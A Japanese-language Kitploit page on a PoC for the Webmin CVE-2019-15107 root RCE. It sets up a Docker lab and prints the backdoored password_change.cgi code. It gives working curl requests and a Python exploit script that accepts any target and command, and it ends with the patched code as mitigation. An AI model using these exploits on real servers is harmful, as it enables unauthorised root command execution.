Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2019-15107 — CVE-2019-15107 の PoC エクスプロイト、Webmin 1.920 以前におけるリモートコード実行脆弱性。Docker ベースのラボのセットアップ、curl と Python のエクスプロイトスクリプト、緩和策ガイダンスを含みます。 | Kitploit
ツール/GitHubGitHub/jini135wii/cve-2019-15107
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubjini135wii/cve-2019-15107

CVE-2019-15107

CVE-2019-15107 の PoC エクスプロイト、Webmin 1.920 以前におけるリモートコード実行脆弱性。Docker ベースのラボのセットアップ、curl と Python のエクスプロイトスクリプト、緩和策ガイダンスを含みます。

リポジトリを見る
11ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

サーバ管理ツール Webmin RCE脆弱性[CVE-2019-15107]

概要

[CVE-2019-15107]は、Unixシステムで使用されるWebベースのシステム管理ツールWebminに発生した脆弱性です。この管理ツールの機能のうち、パスワードを変更するコードにおいて、特定のパラメータをフィルターをかけずにそのままシェルコマンドに渡して実行させることで、任意のコードを実行(Remote Code Execution, RCE)できるようにします。

環境構成と脆弱条件

Webmin 1.920バージョンまたは1.920以前のバージョンを使用する際、パスワードを変更する password_change.cgi で脆弱性が発見されました。WebminがSourceForgeを通じて配布される過程でマルウェアが注入され、脆弱性が発生した形態です。

本再現では、vulhubで使用されていたwebmin 1.910バージョンを利用します。また、Webminの passwd_mode=2 の時のみパスワード変更が有効になるため、passwd_mode=2 の状態で環境を構築しましょう。

用意された1.910バージョンのWebminリリースファイル webmin_1.910_all.deb と共に、脆弱な環境を構成するために以下のコマンドを入力しましょう。

root@kitploit:~
docker compose up -d

Dockerfile と docker-entrypoint.sh ファイルは、vulhubで事前に構築された形式を参考にして、ローカルファイルに合わせて再構成しました。

パスワード変更には user, old, new1, new2 といったおなじみのパラメータが必要です。これらのうち、old パラメータの値を実行してしまうコードが挿入されていました。

以下は1.910バージョンの password_change.cgi ファイルの一部です。qx/$in{'old'}/ が前述の old の値を実行するコードです。この値を操作することで任意コード実行が可能になります。

root@kitploit:~
user@user:~/Documents/vulhub/webmin/CVE-2019-15107$ cat password_change.cgi | grep -C5 "\$in{'old'}"
		die "Missing password file configuration";
	}

if ($wuser) {
	# Update Webmin user's password
	$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
	$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
	$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
	$perr && &pass_error(&text('password_enewpass', $perr));
	$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
	$wuser->{'temppass'} = 0;
	&acl::modify_user($wuser->{'name'}, $wuser);

再現手順

Webminでpassword_change.cgiにアクセスし、old 変数を操作してリクエストを送信することで、脆弱性を再現できます。

PoCコード

curlを使うにせよpythonを使うにせよ、どのような方法でもpassword_change.cgiにリクエストを送信できればよいです。3つの例文はすべて old にコマンド id を入れてuidを出力することを目的としています。

  1. curl(POST)
root@kitploit:~
curl -k -X POST https://your-ip:10000/password_change.cgi   -d "user=nonexistent&pam=&expired=2&old=**id**&new1=test&new2=test"   -H "Referer: https://your-ip:10000/session_login.cgi"    
  1. curl(GET)
root@kitploit:~
curl -k "https://your-ip:10000/password_change.cgi?user=rootxx&pam=&expired=2&old=id&new1=test&new2=test" -H "Referer: https://your-ip:10000/session_login.cgi"
  1. python
root@kitploit:~
import requests
import sys
import argparse

def exploit_webmin(target, command):
    url = f"https://{target}/password_change.cgi"
    
    # HTTPS 인증서 무시
    requests.packages.urllib3.disable_warnings()
    
    # CVE-2019-15107 payload
    # old 파라미터에 명령어 입력
    data = {
        'user': 'rootxx',
        'pam': '',
        'expired': '2',
        'old': command,  # 명령어
        'new1': 'test2',
        'new2': 'test2'
    }
    headers = {
            'Referer': f'https://{target}/session_login.cgi',
            }
    
    try:
        response = requests.post(
            url, 
            data=data, 
            headers=headers,
            verify=False,
            timeout=5
        )
        
        if response.status_code == 200:
            print("[+] Exploit sent!")
            print("[+] Response:")
            print(response.text)
            return True
        else:
            print(f"[-] Status code: {response.status_code}")
            return False
            
    except Exception as e:
        print(f"[-] Error: {e}")
        return False

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='CVE-2019-15107 Webmin RCE PoC')
    parser.add_argument('-t', '--target', required=True, help='Target IP:port (e.g., 127.0.0.1:10000)')
    parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)')
    args = parser.parse_args()
    
    print(f"[*] Exploiting Webmin at {args.target}")
    print(f"[*] Command: {args.command}")
    
    exploit_webmin(args.target, args.command)

以下のように実行できます。

root@kitploit:~
python3 PoC.py -t your-ip:10000 -c "id"

実行結果

上記の方法で old パラメータに任意のコマンドを入れると、そのままコマンドが実行されます。この結果を見ると、uidがすべて0でroot権限で実行されていることが確認できます。

すなわち、本[CVE-2019-15107]脆弱性は、root権限でRCEを実行できるということです。

さらに、別途リバースシェルを用意しておけば、リバースシェルに接続させることでサーバのシェルを奪取できます。

脆弱性の再現が終わったら、以下のコードでサービスを終了できます。

root@kitploit:~
docker compose down

対策方法

最も簡単な方法として、webminをアップデートする方法があります。

1.930バージョンにアップデートする際に変更されたコードです。oldの値を実行する部分をそのまま削除する方法で処理しています。

root@kitploit:~
if ($wuser) {
	# Update Webmin user's password
	$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
	$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
	$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
	$perr && &pass_error(&text('password_enewpass', $perr));
	$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
	$wuser->{'temppass'} = 0;
	&acl::modify_user($wuser->{'name'}, $wuser);
	&reload_miniserv();
	}

もしコード実行部分が必要な場合でも、old 入力値を検証するコードを挿入することで解決することもできます。

ツールをダウンロード